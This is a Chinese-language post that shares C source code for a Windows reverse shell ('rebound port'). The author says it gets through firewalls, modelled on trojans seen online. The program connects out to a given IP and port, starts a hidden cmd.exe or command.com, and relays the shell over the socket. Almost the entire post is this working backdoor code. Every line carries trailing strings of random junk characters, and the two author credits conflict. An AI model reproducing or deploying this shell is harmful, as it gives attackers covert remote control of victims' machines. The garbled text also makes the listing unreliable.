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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 fh&Q(:ZU  
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/* ============================== :ZXaJ!  
Rebound port in Windows NT 7[M@;$  
By wind,2006/7 z~jk_|?|?  
===============================*/ &qm:36Y7Xg  
#include Eq5X/Hx  
#include %,udZyO3uR  
}jL4F$wC  
#pragma comment(lib,"wsock32.lib") &Z+.FTo  
NDG?X s [2  
void OutputShell(); djDE0-QxcR  
SOCKET sClient; g7K<"Z {M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Jx8DVjy  
Z}>+!Z  
void main(int argc,char **argv) $o*p#LU  
{ s~I#K[[5  
WSADATA stWsaData; K` <`l  
int nRet; -B:O0;f  
SOCKADDR_IN stSaiClient,stSaiServer; *C(q{|f  
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if(argc != 3) "I3&a1*  
{ _D1)_?`a@-  
printf("Useage:\n\rRebound DestIP DestPort\n"); oXGP6#  
return; ,"T[#A~  
} ^C{?LH/2  
9}11>X  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6/|"y  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -n6T^vf  
`^DP<&{  
stSaiClient.sin_family = AF_INET; bE"J&;|  
stSaiClient.sin_port = htons(0); 5pq9x4&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7zu3o  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A~'p~ @L  
{ p5bM/{DP;K  
printf("Bind Socket Failed!\n"); z2SR/[I?  
return; _/F}y[B7d  
} liTAV9<  
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stSaiServer.sin_family = AF_INET; > V@,K z1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w%kaM=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %&4\'lE  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }Q{4G  
{ C,5Erb/  
printf("Connect Error!"); o%v,6yv  
return; `R o>?H  
} |d_ rK2  
OutputShell(); l4q7,%G  
} ~#iAW@  
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void OutputShell() T`)uR*$  
{ ~VJP:Y{[  
char szBuff[1024]; #EO],!JM  
SECURITY_ATTRIBUTES stSecurityAttributes; 13I~   
OSVERSIONINFO stOsversionInfo; lziC.Dpa  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Mm#=d?YUHJ  
STARTUPINFO stStartupInfo; MZSyu  
char *szShell; i-&"1D[&  
PROCESS_INFORMATION stProcessInformation; *q(HW  
unsigned long lBytesRead; DZX4c2J  
5$ rV0X,O  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S3YAc4  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %l)~C%T  
stSecurityAttributes.lpSecurityDescriptor = 0; r A9Rz^;xa  
stSecurityAttributes.bInheritHandle = TRUE; 9!Vp-bo  
b]\V~ZaXG  
~Nl`Zmn(A|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); aB4L$M8x  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K?mly$  
QK`2^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "4i_}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (OHd} YQ  
stStartupInfo.wShowWindow = SW_HIDE; n`7n5M*  
stStartupInfo.hStdInput = hReadPipe; & /lmg!6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8R.`*  
3S1`av(tD  
GetVersionEx(&stOsversionInfo); +4Lj}8,  
p:8]jD@}%  
switch(stOsversionInfo.dwPlatformId) kA&ul  
{ h3kBNBI )  
case 1: =|bW >y  
szShell = "command.com"; $a+)v#?,  
break; x8* @<]!  
default: & A@ !g  
szShell = "cmd.exe"; m{sch`bP  
break; 74*iF'f?c  
} Gh9dv|m=[;  
hdee]qLS  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vghn+P8  
w^QqYUL${  
send(sClient,szMsg,77,0); [{9&KjI0K  
while(1) Q@#Gm9m  
{ @GE:<'_:{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l ~ /y  
if(lBytesRead) \{`*`WQF  
{ U>_#,j  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9:6d,^X  
send(sClient,szBuff,lBytesRead,0); GE.@*W  
} 5V/CYcO  
else Voc&T+A m  
{ 9 TW  
lBytesRead=recv(sClient,szBuff,1024,0); -qRO}EF  
if(lBytesRead<=0) break; ;:pd/\<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;={Z Bx  
} EAjo>GLI  
} BXo9s~5Q  
ph=[|P)  
return; ;^:$O6J7T~  
}
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